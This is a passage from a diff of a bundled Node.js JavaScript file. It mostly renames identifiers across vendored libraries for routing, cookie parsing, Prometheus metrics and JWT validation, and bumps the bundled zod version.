]); } - const nestedResult = buildValue(context2, mergedLocation, input); + const nestedResult = buildValue(context2, mergedLocation, input2); const schemaRef = optionLocation.getSchemaRef(); code += ` - ${index2 === 0 ? "if" : "else if"}(validator.validate("${schemaRef}", ${input})) { + ${index2 === 0 ? "if" : "else if"}(validator.validate("${schemaRef}", ${input2})) { ${nestedResult} } `; @@ -38779,7 +38779,7 @@ ${contextFunctionCode}`, `; return code; } - function buildIfThenElse(context2, location, input) { + function buildIfThenElse(context2, location, input2) { context2.validatorSchemasIds.add(location.schemaId); const { if: ifSchema, @@ -38809,10 +38809,10 @@ ${contextFunctionCode}`, } if (!elseSchema) { return ` - if (validator.validate("${ifSchemaRef}", ${input})) { - ${buildValue(context2, thenMergedLocation, input)} + if (validator.validate("${ifSchemaRef}", ${input2})) { + ${buildValue(context2, thenMergedLocation, input2)} } else { - ${buildValue(context2, rootLocation, input)} + ${buildValue(context2, rootLocation, input2)} } `; } @@ -38830,30 +38830,30 @@ ${contextFunctionCode}`, ]); } return ` - if (validator.validate("${ifSchemaRef}", ${input})) { - ${buildValue(context2, thenMergedLocation, input)} + if (validator.validate("${ifSchemaRef}", ${input2})) { + ${buildValue(context2, thenMergedLocation, input2)} } else { - ${buildValue(context2, elseMergedLocation, input)} + ${buildValue(context2, elseMergedLocation, input2)} } `; } - function buildValue(context2, location, input) { + function buildValue(context2, location, input2) { let schema = location.schema; if (typeof schema === "boolean") { - return `json += JSON.stringify(${input})`; + return `json += JSON.stringify(${input2})`; } if (schema.$ref) { location = resolveRef2(context2, location); schema = location.schema; } if (schema.allOf) { - return buildAllOf(context2, location, input); + return buildAllOf(context2, location, input2); } if (schema.anyOf || schema.oneOf) { - return buildOneOf(context2, location, input); + return buildOneOf(context2, location, input2); } if (schema.if && schema.then) { - return buildIfThenElse(context2, location, input); + return buildIfThenElse(context2, location, input2); } if (schema.type === void 0) { const inferredType = inferTypeByKeyword(schema); @@ -38866,17 +38866,17 @@ ${contextFunctionCode}`, const nullable2 = schema.nullable === true; if (nullable2) { code += ` - if (${input} === null) { + if (${input2} === null) { json += JSON_STR_NULL } else { `; } if (schema.const !== void 0) { - code += buildConstSerializer(location, input); + code += buildConstSerializer(location, input2); } else if (Array.isArray(type)) { - code += buildMultiTypeSerializer(context2, location, input); + code += buildMultiTypeSerializer(context2, location, input2); } else { - code += buildSingleTypeSerializer(context2, location, input); + code += buildSingleTypeSerializer(context2, location, input2); } if (nullable2) { code += ` @@ -41705,12 +41705,12 @@ var require_parse3 = __commonJS({ var Empty = function() { }; Empty.prototype = /* @__PURE__ */ Object.create(null); - function parse4(input) { + function parse4(input2) { const result = new Empty(); - if (typeof input !== "string") { + if (typeof input2 !== "string") { return result; } - let inputLength = input.length; + let inputLength = input2.length; let key = ""; let value = ""; let startingIndex = -1; @@ -41722,13 +41722,13 @@ var require_parse3 = __commonJS({ let hasBothKeyValuePair = false; let c = 0; for (let i = 0; i < inputLength + 1; i++) { - c = i !== inputLength ? input.charCodeAt(i) : 38; + c = i !== inputLength ? input2.charCodeAt(i) : 38; if (c === 38) { hasBothKeyValuePair = equalityIndex > startingIndex; if (!hasBothKeyValuePair) { equalityIndex = i; } - key = input.slice(startingIndex + 1, equalityIndex); + key = input2.slice(startingIndex + 1, equalityIndex); if (hasBothKeyValuePair || key.length > 0) { if (keyHasPlus) { key = key.replace(plusRegex, " "); @@ -41737,7 +41737,7 @@ var require_parse3 = __commonJS({ key = fastDecode(key) || key; } if (hasBothKeyValuePair) { - value = input.slice(equalityIndex + 1, i); + value = input2.slice(equalityIndex + 1, i); if (valueHasPlus) { value = value.replace(plusRegex, " "); } @@ -41997,18 +41997,18 @@ var require_stringify = __commonJS({ } return ""; } - function stringify2(input) { + function stringify2(input2) { let result = ""; - if (input === null || typeof input !== "object") { + if (input2 === null || typeof input2 !== "object") { return result; } const separator = "&"; - const keys = Object.keys(input); + const keys = Object.keys(input2); const keyLength = keys.length; let valueLength = 0; for (let i = 0; i < keyLength; i++) { const key = keys[i]; - const value = input[key]; + const value = input2[key]; const encodedKey = encodeString(key) + "="; if (i) { result += separator; @@ -42776,24 +42776,24 @@ var require_safe_regex2 = __commonJS({ "use strict"; var parse4 = require_dist4(); var { types: types2 } = require_dist4(); - function walk(node, opts, starHeight) { + function walk(node2, opts, starHeight) { let i; let ok; let len; - if (node.type === types2.REPETITION) { + if (node2.type === types2.REPETITION) { starHeight++; opts.reps++; if (starHeight > 1) return false; if (opts.reps > opts.limit) return false; } - const options = node.options || node.value?.options; + const options = node2.options || node2.value?.options; if (options) { for (i = 0, len = options.length; i < len; i++) { ok = walk({ stack: options[i] }, opts, starHeight); if (!ok) return false; } } - const stack = node.stack || node.value?.stack; + const stack = node2.stack || node2.value?.stack; if (!stack) return true; for (i = 0, len = stack.length; i < len; i++) { ok = walk(stack[i], opts, starHeight); @@ -42943,8 +42943,8 @@ var require_pretty_print = __commonJS({ return mergedRoutes; }, []); } - function serializeNode(node, prefix, options) { - let routes = node.routes; + function serializeNode(node2, prefix, options) { + let routes = node2.routes; if (options.method === void 0) { routes = routes.map(normalizeRoute); } @@ -42958,28 +42958,28 @@ var require_pretty_print = __commonJS({ return routes.map(serializeRoute).join(` ${prefix}`); } - function buildObjectTree(node, tree, prefix, options) { - if (node.isLeafNode || options.commonPrefix !== false) { + function buildObjectTree(node2, tree, prefix, options) { + if (node2.isLeafNode || options.commonPrefix !== false) { prefix = prefix || "(empty root node)"; tree = tree[prefix] = {}; - if (node.isLeafNode) { - tree[treeDataSymbol] = serializeNode(node, prefix, options); + if (node2.isLeafNode) { + tree[treeDataSymbol] = serializeNode(node2, prefix, options); } prefix = ""; } - if (node.staticChildrenNodes) { - for (const child of node.staticChildrenNodes) { + if (node2.staticChildrenNodes) { + for (const child of node2.staticChildrenNodes) { buildObjectTree(child, tree, prefix + child.prefix, options); } } - if (node.parametricChildren) { - for (const child of Object.values(node.parametricChildren)) { + if (node2.parametricChildren) { + for (const child of Object.values(node2.parametricChildren)) { const childPrefix = Array.from(child.nodePaths).join("|"); buildObjectTree(child, tree, prefix + childPrefix, options); } } - if (node.wildcardChild) { - buildObjectTree(node.wildcardChild, tree, "*", options); + if (node2.wildcardChild) { + buildObjectTree(node2.wildcardChild, tree, "*", options); } } function prettyPrintTree(root, options) { @@ -43182,14 +43182,14 @@ var require_node = __commonJS({ this.staticChildrenCharCodes = []; this.staticChildrenNodes = []; } - setStaticChild(label, node) { + setStaticChild(label, node2) { const charCode = label.charCodeAt(0); const index2 = this.staticChildrenCharCodes.indexOf(charCode); if (index2 === -1) { this.staticChildrenCharCodes.push(charCode); - this.staticChildrenNodes.push(node); + this.staticChildrenNodes.push(node2); } else { - this.staticChildrenNodes[index2] = node; + this.staticChildrenNodes[index2] = node2; } } findStaticMatchingChild(path, pathIndex) { @@ -43232,9 +43232,9 @@ var require_node = __commonJS({ } return staticChild.createStaticChild(path.slice(i)); } - const node = new StaticNode(path); - this.setStaticChild(path.charAt(0), node); - return node; + const node2 = new StaticNode(path); + this.setStaticChild(path.charAt(0), node2); + return node2; } }; var StaticNode = class _StaticNode extends ParentNode { @@ -43294,13 +43294,13 @@ var require_node = __commonJS({ return staticNode; } getNextNode(path, pathIndex, nodeStack, paramsCount) { - let node = this.findStaticMatchingChild(path, pathIndex); + let node2 = this.findStaticMatchingChild(path, pathIndex); let parametricBrotherNodeIndex = 0; - if (node === null) { + if (node2 === null) { if (this.parametricChildren.length === 0) { return this.wildcardChild; } - node = this.parametricChildren[0]; + node2 = this.parametricChildren[0]; parametricBrotherNodeIndex = 1; } if (this.wildcardChild !== null) { @@ -43317,7 +43317,7 @@ var require_node = __commonJS({ brotherNode: this.parametricChildren[i] }); } - return node; + return node2; } _compilePrefixMatch() { if (this.prefix.length === 1) { @@ -44242,7 +44242,7 @@ var require_find_my_way = __commonJS({ path = sanitizedUrl.path; querystring2 = sanitizedUrl.querystring; shouldDecodeParam = sanitizedUrl.shouldDecodeParam; - } catch (error51) { + } catch (error62) { return this._onBadUrl(path); } if (this.ignoreTrailingSlash) { @@ -44270,8 +44270,8 @@ var require_find_my_way = __commonJS({ }; } } - let node = currentNode.getNextNode(path, pathIndex, brothersNodesStack, params.length); - if (node === null) { + let node2 = currentNode.getNextNode(path, pathIndex, brothersNodesStack, params.length); + if (node2 === null) { if (brothersNodesStack.length === 0) { if (maxParamLengthExceeded && this.onMaxParamLength) { return this._onMaxParamLength(originPath); @@ -44281,9 +44281,9 @@ var require_find_my_way = __commonJS({ const brotherNodeState = brothersNodesStack.pop(); pathIndex = brotherNodeState.brotherPathIndex; params.splice(brotherNodeState.paramsCount); - node = brotherNodeState.brotherNode; + node2 = brotherNodeState.brotherNode; } - currentNode = node; + currentNode = node2; while (true) { if (currentNode.kind === NODE_TYPES.STATIC) { pathIndex += currentNode.prefix.length; @@ -44479,7 +44479,7 @@ var require_find_my_way = __commonJS({ if (parsed.protocol !== `${scheme}:` || parsed.host.length === 0) { return null; } - } catch (error51) { + } catch (error62) { return null; } if (authorityEnd === url2.length) { @@ -44880,14 +44880,14 @@ var require_route = __commonJS({ const hasHEADHandler = headHandler !== null; try { router.on(opts.method, opts.url, { constraints }, routeHandler, context2); - } catch (error51) { + } catch (error62) { if (!context2[kRouteByFastify]) { const methods = Array.isArray(opts.method) ? opts.method : [opts.method]; - const isDuplicatedRoute = methods.some((method) => error51.message.includes(`Method '${method}' already declared for route`)); + const isDuplicatedRoute = methods.some((method) => error62.message.includes(`Method '${method}' already declared for route`)); if (isDuplicatedRoute) { throw new FST_ERR_DUPLICATED_ROUTE(opts.method, opts.url); } - throw error51; + throw error62; } } this.after((notHandledErr, done) => { @@ -44924,16 +44924,16 @@ var require_route = __commonJS({ opts.validatorCompiler || schemaController.validatorCompiler, isCustom ); - } catch (error51) { - throw new FST_ERR_SCH_VALIDATION_BUILD(opts.method, url2, error51.message); + } catch (error62) { + throw new FST_ERR_SCH_VALIDATION_BUILD(opts.method, url2, error62.message); } if (opts.schema.response && !opts.serializerCompiler) { schemaController.setupSerializer(this[kOptions]); } try { compileSchemasForSerialization(context2, opts.serializerCompiler || schemaController.serializerCompiler); - } catch (error51) { - throw new FST_ERR_SCH_SERIALIZATION_BUILD(opts.method, url2, error51.message); + } catch (error62) { + throw new FST_ERR_SCH_SERIALIZATION_BUILD(opts.method, url2, error62.message); } } }); @@ -45906,12 +45906,12 @@ var require_request2 = __commonJS({ } util.inherits(Request, Readable); util.inherits(CustomRequest, Request); - Request.prototype.destroy = function(error51) { + Request.prototype.destroy = function(error62) { if (this.destroyed || this._lightMyRequest.isDone) return; this.destroyed = true; - if (error51) { + if (error62) { this._error = true; - process.nextTick(() => this.emit("error", error51)); + process.nextTick(() => this.emit("error", error62)); } process.nextTick(() => this.emit("close")); }; @@ -45998,42 +45998,42 @@ var require_set_cookie = __commonJS({ } return { name, value }; } - function parse4(input, options) { + function parse4(input2, options) { options = options ? Object.assign({}, defaultParseOptions, options) : defaultParseOptions; - if (!input) { + if (!input2) { if (!options.map) { return []; } else { return createNullObj(); } } - if (input.headers) { - if (typeof input.headers.getSetCookie === "function") { - input = input.headers.getSetCookie(); - } else if (input.headers["set-cookie"]) { - input = input.headers["set-cookie"]; + if (input2.headers) { + if (typeof input2.headers.getSetCookie === "function") { + input2 = input2.headers.getSetCookie(); + } else if (input2.headers["set-cookie"]) { + input2 = input2.headers["set-cookie"]; } else { - var sch = input.headers[Object.keys(input.headers).find(function(key) { + var sch = input2.headers[Object.keys(input2.headers).find(function(key) { return key.toLowerCase() === "set-cookie"; })]; - if (!sch && input.headers.cookie && !options.silent) { + if (!sch && input2.headers.cookie && !options.silent) { console.warn( "Warning: set-cookie-parser appears to have been called on a request object. It is designed to parse Set-Cookie headers from responses, not Cookie headers from requests. Set the option {silent: true} to suppress this warning." ); } - input = sch; + input2 = sch; } } - if (!Array.isArray(input)) { - input = [input]; + if (!Array.isArray(input2)) { + input2 = [input2]; } if (!options.map) { - return input.filter(isNonEmptyString).map(function(str) { + return input2.filter(isNonEmptyString).map(function(str) { return parseString(str, options); }).filter(Boolean); } else { var cookies = createNullObj(); - return input.filter(isNonEmptyString).reduce(function(cookies2, str) { + return input2.filter(isNonEmptyString).reduce(function(cookies2, str) { var cookie = parseString(str, options); if (cookie && !isForbiddenKey(cookie.name)) { cookies2[cookie.name] = cookie; @@ -46214,11 +46214,11 @@ var require_response = __commonJS({ this.emit("finish"); this.destroy(); }; - Response.prototype.destroy = function(error51) { + Response.prototype.destroy = function(error62) { if (this.destroyed) return; this.destroyed = true; - if (error51) { - process.nextTick(() => this.emit("error", error51)); + if (error62) { + process.nextTick(() => this.emit("error", error62)); } process.nextTick(() => this.emit("close")); }; @@ -47709,12 +47709,12 @@ var require_fastify = __commonJS({ } if (fastify2[kState].started) { if (fastify2[kState].closing) { - const error51 = new FST_ERR_REOPENED_CLOSE_SERVER(); + const error62 = new FST_ERR_REOPENED_CLOSE_SERVER(); if (cb) { - cb(error51); + cb(error62); return; } else { - return Promise.reject(error51); + return Promise.reject(error62); } } return lightMyRequest(httpHandler, opts, cb); @@ -49781,28 +49781,28 @@ var require_rbtree = __commonJS({ var gp = null; var ggp = head; var p = null; - var node = this._root; + var node2 = this._root; ggp.right = this._root; while (true) { - if (node === null) { - node = new Node(data); - p.set_child(dir, node); + if (node2 === null) { + node2 = new Node(data); + p.set_child(dir, node2); ret2 = true; this.size++; - } else if (is_red(node.left) && is_red(node.right)) { - node.red = true; - node.left.red = false; - node.right.red = false; + } else if (is_red(node2.left) && is_red(node2.right)) { + node2.red = true; + node2.left.red = false; + node2.right.red = false; } - if (is_red(node) && is_red(p)) { + if (is_red(node2) && is_red(p)) { var dir2 = ggp.right === gp; - if (node === p.get_child(last)) { + if (node2 === p.get_child(last)) { ggp.set_child(dir2, single_rotate(gp, !last)); } else { ggp.set_child(dir2, double_rotate(gp, !last)); } } - var cmp = this._comparator(node.data, data); + var cmp = this._comparator(node2.data, data); if (cmp === 0) { break; } @@ -49812,8 +49812,8 @@ var require_rbtree = __commonJS({ ggp = gp; } gp = p; - p = node; - node = node.get_child(dir); + p = node2; + node2 = node2.get_child(dir); } this._root = head.right; } @@ -49825,34 +49825,34 @@ var require_rbtree = __commonJS({ return false; } var head = new Node(void 0); - var node = head; - node.right = this._root; + var node2 = head; + node2.right = this._root; var p = null; var gp = null; var found = null; var dir = 1; - while (node.get_child(dir) !== null) { + while (node2.get_child(dir) !== null) { var last = dir; gp = p; - p = node; - node = node.get_child(dir); - var cmp = this._comparator(data, node.data); + p = node2; + node2 = node2.get_child(dir); + var cmp = this._comparator(data, node2.data); dir = cmp > 0; if (cmp === 0) { - found = node; + found = node2; } - if (!is_red(node) && !is_red(node.get_child(dir))) { - if (is_red(node.get_child(!dir))) { - var sr = single_rotate(node, dir); + if (!is_red(node2) && !is_red(node2.get_child(dir))) { + if (is_red(node2.get_child(!dir))) { + var sr = single_rotate(node2, dir); p.set_child(last, sr); p = sr; - } else if (!is_red(node.get_child(!dir))) { + } else if (!is_red(node2.get_child(!dir))) { var sibling = p.get_child(!last); if (sibling !== null) { if (!is_red(sibling.get_child(!last)) && !is_red(sibling.get_child(last))) { p.red = false; sibling.red = true; - node.red = true; + node2.red = true; } else { var dir2 = gp.right === p; if (is_red(sibling.get_child(last))) { @@ -49862,7 +49862,7 @@ var require_rbtree = __commonJS({ } var gpc = gp.get_child(dir2); gpc.red = true; - node.red = true; + node2.red = true; gpc.left.red = false; gpc.right.red = false; } @@ -49871,8 +49871,8 @@ var require_rbtree = __commonJS({ } } if (found !== null) { - found.data = node.data; - p.set_child(p.right === node, node.get_child(node.left === null)); + found.data = node2.data; + p.set_child(p.right === node2, node2.get_child(node2.left === null)); this.size--; } this._root = head.right; @@ -49881,8 +49881,8 @@ var require_rbtree = __commonJS({ } return found !== null; }; - function is_red(node) { - return node !== null && node.red; + function is_red(node2) { + return node2 !== null && node2.red; } function single_rotate(root, dir) { var save = root.get_child(!dir); @@ -49933,21 +49933,21 @@ var require_bintree = __commonJS({ } var dir = 0; var p = null; - var node = this._root; + var node2 = this._root; while (true) { - if (node === null) { - node = new Node(data); - p.set_child(dir, node); + if (node2 === null) { + node2 = new Node(data); + p.set_child(dir, node2); ret = true; this.size++; return true; } - if (this._comparator(node.data, data) === 0) { + if (this._comparator(node2.data, data) === 0) { return false; } - dir = this._comparator(node.data, data) < 0; - p = node; - node = node.get_child(dir); + dir = this._comparator(node2.data, data) < 0; + p = node2; + node2 = node2.get_child(dir); } }; BinTree.prototype.remove = function(data) { @@ -49955,23 +49955,23 @@ var require_bintree = __commonJS({ return false; } var head = new Node(void 0); - var node = head; - node.right = this._root; + var node2 = head; + node2.right = this._root; var p = null; var found = null; var dir = 1; - while (node.get_child(dir) !== null) { - p = node; - node = node.get_child(dir); - var cmp = this._comparator(data, node.data); + while (node2.get_child(dir) !== null) { + p = node2; + node2 = node2.get_child(dir); + var cmp = this._comparator(data, node2.data); dir = cmp > 0; if (cmp === 0) { - found = node; + found = node2; } } if (found !== null) { - found.data = node.data; - p.set_child(p.right === node, node.get_child(node.left === null)); + found.data = node2.data; + p.set_child(p.right === node2, node2.get_child(node2.left === null)); this._root = head.right; this.size--; return true; @@ -52282,8 +52282,8 @@ var require_osMemoryHeapLinux = __commonJS({ var PROCESS_RESIDENT_MEMORY = "process_resident_memory_bytes"; var PROCESS_VIRTUAL_MEMORY = "process_virtual_memory_bytes"; var PROCESS_HEAP = "process_heap_bytes"; - function structureOutput(input) { - return input.split("\n").reduce((acc, string4) => { + function structureOutput(input2) { + return input2.split("\n").reduce((acc, string4) => { if (!values2.some((value2) => string4.startsWith(value2))) { return acc; } @@ -52313,8 +52313,8 @@ var require_osMemoryHeapLinux = __commonJS({ residentMemGauge.set(labels, structuredOutput.VmRSS); virtualMemGauge.set(labels, structuredOutput.VmSize); heapSizeMemGauge.set(labels, structuredOutput.VmData); - } catch (error51) { - debug("failed to collect Linux memory metrics: %o", error51); + } catch (error62) { + debug("failed to collect Linux memory metrics: %o", error62); } } }); @@ -52348,8 +52348,8 @@ var require_safeRss = __commonJS({ function safeRss() { try { return process.memoryUsage.rss(); - } catch (error51) { - debug("process.memoryUsage.rss() failed: %o", error51); + } catch (error62) { + debug("process.memoryUsage.rss() failed: %o", error62); return; } } @@ -52397,11 +52397,11 @@ var require_processOpenFileDescriptors = __commonJS({ var { debuglog } = __require("node:util"); var Gauge = require_gauge(); var fs2 = __require("fs"); - var process3 = __require("process"); + var process2 = __require("process"); var debug = debuglog("prom:metrics:process-open-fds"); var PROCESS_OPEN_FDS = "process_open_fds"; module.exports = (registry2, config2 = {}) => { - if (process3.platform !== "linux") { + if (process2.platform !== "linux") { return; } const namePrefix = config2.prefix ? config2.prefix : ""; @@ -52416,8 +52416,8 @@ var require_processOpenFileDescriptors = __commonJS({ try { const fds = fs2.readdirSync("/proc/self/fd"); this.set(labels, fds.length - 1); - } catch (error51) { - debug("failed to collect open file descriptors: %o", error51); + } catch (error62) { + debug("failed to collect open file descriptors: %o", error62); } } }); @@ -52448,8 +52448,8 @@ var require_processMaxFileDescriptors = __commonJS({ break; } } - } catch (error51) { - debug("failed to collect maximum file descriptors: %o", error51); + } catch (error62) { + debug("failed to collect maximum file descriptors: %o", error62); return; } } @@ -52481,8 +52481,8 @@ var require_eventLoopLag = __commonJS({ var perf_hooks; try { perf_hooks = __require("perf_hooks"); - } catch (error51) { - debug("perf_hooks module is unavailable: %o", error51); + } catch (error62) { + debug("perf_hooks module is unavailable: %o", error62); } var NODEJS_EVENTLOOP_LAG = "nodejs_eventloop_lag_seconds"; var NODEJS_EVENTLOOP_LAG_MIN = "nodejs_eventloop_lag_min_seconds"; @@ -52869,8 +52869,8 @@ var require_safeMemoryUsage = __commonJS({ function safeMemoryUsage() { try { return process.memoryUsage(); - } catch (error51) { - debug("process.memoryUsage() failed: %o", error51); + } catch (error62) { + debug("process.memoryUsage() failed: %o", error62); return; } } @@ -53029,8 +53029,8 @@ var require_gc = __commonJS({ var perf_hooks; try { perf_hooks = __require("perf_hooks"); - } catch (error51) { - debug("perf_hooks module is unavailable: %o", error51); + } catch (error62) { + debug("perf_hooks module is unavailable: %o", error62); } var NODEJS_GC_DURATION_SECONDS = "nodejs_gc_duration_seconds"; var DEFAULT_GC_DURATION_BUCKETS = [1e-3, 0.01, 0.1, 1, 2, 5]; @@ -53334,15 +53334,15 @@ var require_cluster = __commonJS({ metrics: metrics2 }); } - } catch (error51) { - debug("Error sending to primary", error51); + } catch (error62) { + debug("Error sending to primary", error62); if (!process.connected) { debug("Connection to primary lost."); } else { process.send({ type: GET_METRICS_RES, requestId: message2.requestId, - error: error51.message + error: error62.message }); } } @@ -53398,8 +53398,8 @@ var require_cluster = __commonJS({ const metrics2 = [historicMetrics, ...event.metrics]; historicMetrics = Registry2.aggregate(metrics2).getMetricsAsArray(); debug("collected metrics data from", worker.id); - } catch (error51) { - console.error("error collecting shutdown metrics", worker.id, error51); + } catch (error62) { + console.error("error collecting shutdown metrics", worker.id, error62); } finally { workers.delete(worker.id); } @@ -53673,12 +53673,12 @@ var require_worker = __commonJS({ threadId, metrics: metrics2 }); - } catch (error51) { - debug(error51); + } catch (error62) { + debug(error62); channel.postMessage({ type: GET_METRICS_RES, requestId: message2.requestId, - error: error51.message + error: error62.message }); } } else { @@ -53756,11 +53756,11 @@ var require_worker = __commonJS({ const metrics2 = [historicMetrics, ...workerMessage.metrics]; historicMetrics = Registry2.aggregate(metrics2).getMetricsAsArray(); debug("collected metrics data from", workerMessage.threadId); - } catch (error51) { + } catch (error62) { console.error( "error collecting shutdown metrics", workerMessage.threadId, - error51 + error62 ); } finally { workers.delete(workerName); @@ -54045,8 +54045,8 @@ var JWTClaimValidationFailed = class extends JOSEError { claim; reason; payload; - constructor(message2, payload, claim = "unspecified", reason = "unspecified") { - super(message2, { cause: { claim, reason, payload } }), this.claim = claim, this.reason = reason, this.payload = payload; + constructor(message2, payload, claim2 = "unspecified", reason = "unspecified") { + super(message2, { cause: { claim: claim2, reason, payload } }), this.claim = claim2, this.reason = reason, this.payload = payload; } }; var JWTExpired = class extends JOSEError { @@ -54055,8 +54055,8 @@ var JWTExpired = class extends JOSEError { claim; reason; payload; - constructor(message2, payload, claim = "unspecified", reason = "unspecified") { - super(message2, { cause: { claim, reason, payload } }), this.claim = claim, this.reason = reason, this.payload = payload; + constructor(message2, payload, claim2 = "unspecified", reason = "unspecified") { + super(message2, { cause: { claim: claim2, reason, payload } }), this.claim = claim2, this.reason = reason, this.payload = payload; } }; var JOSEAlgNotAllowed = class extends JOSEError { @@ -54127,23 +54127,23 @@ var JWSSignatureVerificationFailed = class extends JOSEError { // node_modules/.pnpm/jose@6.2.12/node_modules/jose/dist/webapi/util/base64url.js var invalid = "The input to be decoded is not correctly encoded."; -function decode(input) { +function decode(input2) { try { - return decodeBase64(typeof input == "string" ? input : decoder.decode(input), true); + return decodeBase64(typeof input2 == "string" ? input2 : decoder.decode(input2), true); } catch (cause) { throw new TypeError(invalid, { cause }); } } // node_modules/.pnpm/jose@6.2.12/node_modules/jose/dist/webapi/lib/validate.js -function isObject(input) { - if (typeof input != "object" || input === null || Object.prototype.toString.call(input) !== "[object Object]") +function isObject(input2) { + if (typeof input2 != "object" || input2 === null || Object.prototype.toString.call(input2) !== "[object Object]") return false; - const prototype = Object.getPrototypeOf(input); + const prototype = Object.getPrototypeOf(input2); return prototype === null || Object.getPrototypeOf(prototype) === null; } -function isJwkSet(input) { - return isObject(input) && Array.isArray(input.keys) && Array.from(input.keys).every(isObject); +function isJwkSet(input2) { + return isObject(input2) && Array.isArray(input2.keys) && Array.from(input2.keys).every(isObject); } function isDisjoint(...headers) { const parameters = /* @__PURE__ */ new Set(); @@ -54192,7 +54192,7 @@ function validateCrit(Err, recognizedDefault, recognizedOption, protectedHeader, throw new Err('"crit" (Critical) Header Parameter MUST be integrity protected'); if (!protectedHeader || protectedHeader.crit === void 0) return []; - if (!Array.isArray(protectedHeader.crit) || protectedHeader.crit.length === 0 || protectedHeader.crit.some((input) => typeof input != "string" || input.length === 0)) + if (!Array.isArray(protectedHeader.crit) || protectedHeader.crit.length === 0 || protectedHeader.crit.some((input2) => typeof input2 != "string" || input2.length === 0)) throw new Err('"crit" (Critical) Header Parameter MUST be an array of non-empty strings when present'); const recognized = recognizedOption === void 0 ? recognizedDefault : { __proto__: null, ...recognizedOption, ...recognizedDefault }; for (const parameter of protectedHeader.crit) { @@ -54498,26 +54498,26 @@ function secs(str) { const value = parseFloat(matched[2]), numericDate2 = Math.round(value * multipliers[matched[3][0].toLowerCase()]); return Number.isFinite(numericDate2) || invalidDuration(), matched[1] === "-" || matched[4] === "ago" ? -numericDate2 : numericDate2; } -function validateInput(label, input) { - if (!Number.isFinite(input)) +function validateInput(label, input2) { + if (!Number.isFinite(input2)) throw new TypeError(`Invalid ${label} input`); - return input; + return input2; } var normalizeTyp = (value) => { const normalized = value.toLowerCase(); return value.includes("/") ? normalized : `application/${normalized}`; }; var checkAudiencePresence = (audPayload, audOption) => typeof audPayload == "string" ? audOption.includes(audPayload) : Array.isArray(audPayload) ? audOption.some((aud) => audPayload.includes(aud)) : false; -function validateNumericDate(payload, claim, required2 = false) { - const value = payload[claim]; +function validateNumericDate(payload, claim2, required2 = false) { + const value = payload[claim2]; if (!(value === void 0 && !required2)) { if (typeof value != "number") - throw new JWTClaimValidationFailed(`"${claim}" claim must be a number`, payload, claim, "invalid"); + throw new JWTClaimValidationFailed(`"${claim2}" claim must be a number`, payload, claim2, "invalid"); return value; } } -function unexpectedClaim(payload, claim) { - throw new JWTClaimValidationFailed(`unexpected "${claim}" claim value`, payload, claim, checkFailed); +function unexpectedClaim(payload, claim2) { + throw new JWTClaimValidationFailed(`unexpected "${claim2}" claim value`, payload, claim2, checkFailed); } function validateClaimsSet(protectedHeader, encodedPayload, options = {}) { let payload; @@ -54532,9 +54532,9 @@ function validateClaimsSet(protectedHeader, encodedPayload, options = {}) { throw new JWTClaimValidationFailed('unexpected "typ" JWT header value', payload, "typ", checkFailed); const { requiredClaims = [], issuer, subject, audience, maxTokenAge } = options, presenceCheck = [...requiredClaims]; maxTokenAge !== void 0 && presenceCheck.push("iat"), audience !== void 0 && presenceCheck.push("aud"), subject !== void 0 && presenceCheck.push("sub"), issuer !== void 0 && presenceCheck.push("iss"); - for (const claim of new Set(presenceCheck.reverse())) - if (!Object.hasOwn(payload, claim)) - throw new JWTClaimValidationFailed(`missing required "${claim}" claim`, payload, claim, "missing"); + for (const claim2 of new Set(presenceCheck.reverse())) + if (!Object.hasOwn(payload, claim2)) + throw new JWTClaimValidationFailed(`missing required "${claim2}" claim`, payload, claim2, "missing"); issuer !== void 0 && !(Array.isArray(issuer) ? issuer : [issuer]).includes(payload.iss) && unexpectedClaim(payload, "iss"), subject !== void 0 && payload.sub !== subject && unexpectedClaim(payload, "sub"), audience !== void 0 && !checkAudiencePresence(payload.aud, typeof audience == "string" ? [audience] : audience) && unexpectedClaim(payload, "aud"); const { clockTolerance } = options; let tolerance = 0; @@ -54583,8 +54583,8 @@ async function importWithAlgCache(cache2, jwk, entry) { if (key.type !== "public") throw new JWKSInvalid("JSON Web Key Set members must be public keys"); return cached2[alg] = key, key; - }).catch((error51) => { - throw cached2[alg] === pending && delete cached2[alg], error51; + }).catch((error62) => { + throw cached2[alg] === pending && delete cached2[alg], error62; }); cached2[alg] = pending; } @@ -54610,14 +54610,14 @@ function createLocalJWKSet(jwks) { if (!length) throw new JWKSNoMatchingKey(); if (length !== 1) { - const error51 = new JWKSMultipleMatchingKeys(); - throw error51[Symbol.asyncIterator] = async function* () { + const error62 = new JWKSMultipleMatchingKeys(); + throw error62[Symbol.asyncIterator] = async function* () { for (const jwk2 of candidates) try { yield await importWithAlgCache(cached2, jwk2, entry); } catch { } - }, error51; + }, error62; } return importWithAlgCache(cached2, jwk, entry); }, "jwks", { @@ -54720,12 +54720,13 @@ function createRemoteJWKSet(url2, options) { }); } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/external.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/external.js var external_exports = {}; __export(external_exports, { $brand: () => $brand, $input: () => $input, $output: () => $output, + INVALID: () => INVALID, NEVER: () => NEVER, TimePrecision: () => TimePrecision, ZodAny: () => ZodAny, @@ -54741,6 +54742,9 @@ __export(external_exports, { ZodCUID2: () => ZodCUID2, ZodCatch: () => ZodCatch, ZodCodec: () => ZodCodec, + ZodCompileAsyncError: () => ZodCompileAsyncError, + ZodCompileUnsupportedError: () => ZodCompileUnsupportedError, + ZodCreditCard: () => ZodCreditCard, ZodCustom: () => ZodCustom, ZodCustomStringFormat: () => ZodCustomStringFormat, ZodDate: () => ZodDate, @@ -54756,12 +54760,14 @@ __export(external_exports, { ZodFirstPartyTypeKind: () => ZodFirstPartyTypeKind, ZodFunction: () => ZodFunction, ZodGUID: () => ZodGUID, + ZodIBAN: () => ZodIBAN, ZodIPv4: () => ZodIPv4, ZodIPv6: () => ZodIPv6, ZodISODate: () => ZodISODate, ZodISODateTime: () => ZodISODateTime, ZodISODuration: () => ZodISODuration, ZodISOTime: () => ZodISOTime, + ZodInstanceOf: () => ZodInstanceOf, ZodIntersection: () => ZodIntersection, ZodIssueCode: () => ZodIssueCode, ZodJWT: () => ZodJWT, @@ -54821,14 +54827,18 @@ __export(external_exports, { clone: () => clone, codec: () => codec, coerce: () => coerce_exports, + compile: () => compile, config: () => config, core: () => core_exports2, + creditCard: () => creditCard2, cuid: () => cuid3, cuid2: () => cuid22, + currencyCode: () => currencyCode2, custom: () => custom, - date: () => date3, + date: () => date2, decode: () => decode3, decodeAsync: () => decodeAsync2, + 